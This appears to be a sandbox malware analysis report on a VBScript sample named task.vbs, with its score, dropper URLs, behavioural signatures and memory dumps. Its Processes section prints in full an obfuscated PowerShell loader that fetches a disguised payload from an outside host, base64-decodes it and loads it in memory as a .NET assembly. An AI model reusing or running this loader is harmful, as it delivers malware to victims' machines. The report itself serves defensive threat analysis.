Overview

overview

10

Static

static

1

task.vbs

windows10-2004-x64

10

task.vbs

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    133s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/09/2026, 16:05

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    task.vbs
  • Size 86KB
  • Sample260902-tjnntaxakh
  • SHA256 cda5d00fa17f8bb45f183954128dca4adbc8d6f3f8f0765e70f4e1f771d297e5
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
execution

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://taskerempresascol.co/MSI.png
  • exe.dropper

    https://taskerempresascol.co/MSI.png

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\task.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    PID:2540
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $phytohormones = ''https://taskerempresascol.co/MSI.png''; Add-Type -AssemblyName System.Net.Http; $melammad = New-Object System.Net.CookieContainer; $nonunique = New-Object System.Net.Http.HttpClientHandler; $nonunique.AllowAutoRedirect = $true; $nonunique.CookieContainer = $melammad; $pickings = New-Object System.Net.Http.HttpClient($nonunique); $pickings.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $kronur = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $phytohormones); $negates = $pickings.SendAsync($kronur).GetAwaiter().GetResult(); $contrabandist = $negates.Content.Headers.ContentLength; if ($null -eq $contrabandist) { $contrabandist = 5000000; } $subaudition = [Math]::Min($contrabandist, 3000000); $accidentalness = [Math]::Max(0, $contrabandist - $subaudition); $counsellors = $contrabandist - 1; $currency = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $phytohormones); $currency.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($accidentalness, $counsellors); $astrogonic = $pickings.SendAsync($currency).GetAwaiter().GetResult(); [byte[]]$chromanil = $astrogonic.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $prostrates = [System.Text.Encoding]::ASCII.GetString($chromanil); } catch { $metrostaxis = (New-Object System.Net.WebClient).DownloadString($phytohormones); $prostrates = $metrostaxis; } $perquire=''IN-''; $xeriscapings=''-in1''; $trachytoid = [string]::IndexOf($prostrates, $perquire); $pajero = $prostrates.LastIndexOf($xeriscapings); if($trachytoid -eq -1 -or $pajero -eq -1){return}; $charismata = $trachytoid + $perquire.Length; $undulant = $prostrates.Substring($prostrates.IndexOf($perquire) + $perquire.Length, $pajero - ($prostrates.IndexOf($perquire) + $perquire.Length)); $gangbusters = $undulant.Replace(''*'',''A'').ToCharArray(); $picle = -join $gangbusters[($gangbusters.Length - 1)..0]; $afloqualone = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); [byte[]]$schneiderian = $afloqualone.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$picle)); $cyberspeech = [AppDomain]::(''CurrentDomain''); $inurning = $cyberspeech.GetType().GetMethod(''Load'', [byte[]]); $microliths = $inurning.Invoke($cyberspeech, (,$schneiderian)); $tipula = (''1AZPvsKJhqlqybgfFKVZpetQOwJKhDT2/0B1gruHz/hjXxBhnbXyLg4VcImDez5OiiQhfIjsyO49NMtO+vpECA=='',''F9PIpfHwe4Ci69l5Yq25UJhm8nXK8rEAGhpGKkJYOpU='',''Qgc9YTjVILFfYaZdcycMGXJ3JJ+J2I0/gV3EKSqNugXi37nhfTxI1XPFJE9IOwPA'',''ty5zj8t+yVLEOe9KHD4TEnpqVkPHrqDfGB40GshlLo0='',''rc4Puuy/GxSokKLV5bGIXqijM6WsWVpYopmD1Vf+PEM='','''',''vjY3aYyRkkQrV6QJpMY470bQYA9wu95UJ2eGvDr8xmk='',''ATWk4JfDcjQHzmLEtLPNHbYFmJ4zmPLdQNL9ObjJcDY='',''EE/VZB1QUNgiXD9foNwPckQO3bVYOu2EQ81b/2gKT5/DIutWiHQH7aw8H0mOJdpm6SO/bt03Hq+u7xq3X4/lmQ=='',''JLUYckX9J5p1E9j0ewlBITb9oHabp+EVK7Fm8wd8HP3Trpbp8EobXeT4kIJwyR0Y'',''qRWIjUl7zwHAl5z04xOpq3p2L0KsCgolqLnMEd0+Nes='',''maGpf5CyHUl++Ol8mAAr/oi6MKwFN3zr/Uf3pdhLRR8='',''UFk1QpVZwUEaVcUamYMrxjt30xYHJZwzBdhOxdJDNFo='',''hSahFHrsHSv0RiSwGQ3GDbcVqB++wxroYlFsXP9D9mQ='',''6v0yFoXD1+M1OHP7gk4UXsOnR/lYyLkEKkSZkAyjqDk='',''1rfcVePtk6GhkGFOUOlCYNdqht7+Jl4ffpoN+hWw3Yc='','''','''',''''); try { $archeologist = ($microliths.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $nonMexican = ($archeologist.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $nonMexican.Invoke($null, [object[]]$tipula); } catch {} finally { if ($null -ne $pickings) { $pickings.Dispose() } }'))"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3388

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/3388-0-0x00007FF9637CF000-0x00007FF9637D0000-memory.dmp
        Download

        memory/3388-1-0x00007FF963640000-0x00007FF963FE4000-memory.dmp
        Download

        memory/3388-5-0x00007FF963640000-0x00007FF963FE4000-memory.dmp
        Download

        memory/3388-4-0x00000181A2E60000-0x00000181A2E82000-memory.dmp
        Download

        memory/3388-6-0x00007FF963640000-0x00007FF963FE4000-memory.dmp
        Download

        memory/3388-7-0x00007FF963640000-0x00007FF963FE4000-memory.dmp
        Download

        memory/3388-8-0x00007FF963640000-0x00007FF963FE4000-memory.dmp
        Download

        memory/3388-9-0x00007FF963640000-0x00007FF963FE4000-memory.dmp
        Download

        memory/3388-10-0x00007FF963640000-0x00007FF963FE4000-memory.dmp
        Download

        memory/3388-11-0x00007FF963640000-0x00007FF963FE4000-memory.dmp
        Download

        memory/3388-12-0x00007FF963640000-0x00007FF963FE4000-memory.dmp
        Download

        memory/3388-13-0x00007FF963640000-0x00007FF963FE4000-memory.dmp
        Download

        memory/3388-15-0x00007FF963640000-0x00007FF963FE4000-memory.dmp
        Download

        memory/3388-16-0x00007FF963640000-0x00007FF963FE4000-memory.dmp
        Download

        memory/3388-18-0x00007FF963640000-0x00007FF963FE4000-memory.dmp
        Download